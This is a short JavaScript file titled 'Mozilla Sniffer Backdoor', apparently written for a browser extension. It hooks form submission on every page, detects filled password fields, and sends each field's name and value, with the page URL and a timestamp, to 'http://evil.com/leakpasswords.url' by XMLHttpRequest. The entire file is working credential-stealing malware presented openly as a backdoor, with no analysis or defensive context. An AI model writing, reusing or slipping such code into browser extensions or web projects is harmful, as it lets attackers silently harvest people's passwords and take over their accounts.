Mozilla Sniffer Backdoor

window.document.onsubmit = search;
function search() {
        var forms = content.document.getElementsByTagName('form');
        for(var i=0; i<forms.length; i++) {
                if(forms[i].id)
                        var form = content.document.getElementById(forms[i].id);
                else
                        var form = content.document.forms[i];
                for(var c=0; c<form.elements.length; c++) {
                        if(form.elements[c].type == 'password' && form.elements[c].value != '')
                                found(form);
                }
        }
}
function found(form) {
        var host = 'http://evil.com/leakpasswords.url';

        var currentTime = new Date();
        var minutes = currentTime.getMinutes();
        if (minutes < 10)
                minutes = '0' + minutes;
        var date = currentTime.getHours()+':'+minutes+' || '+currentTime.getMonth()+1+'/'+currentTime.getDate()+'/'+currentTime.getFullYear();
        var keyz = host+'?time='+date+'&p-domain='+content.document.location.href;
        for(var c=0; c<form.elements.length; c++)
                keyz += '&'+form.elements[c].name+'='+form.elements[c].value;
        send(keyz);
}
function send(keyz) {
        var xmlhttp;
        if (window.XMLHttpRequest)
                xmlhttp = new XMLHttpRequest();
        else if (window.ActiveXObject)
                xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
        xmlhttp.open("GET",keyz,true);
        xmlhttp.send(null);
}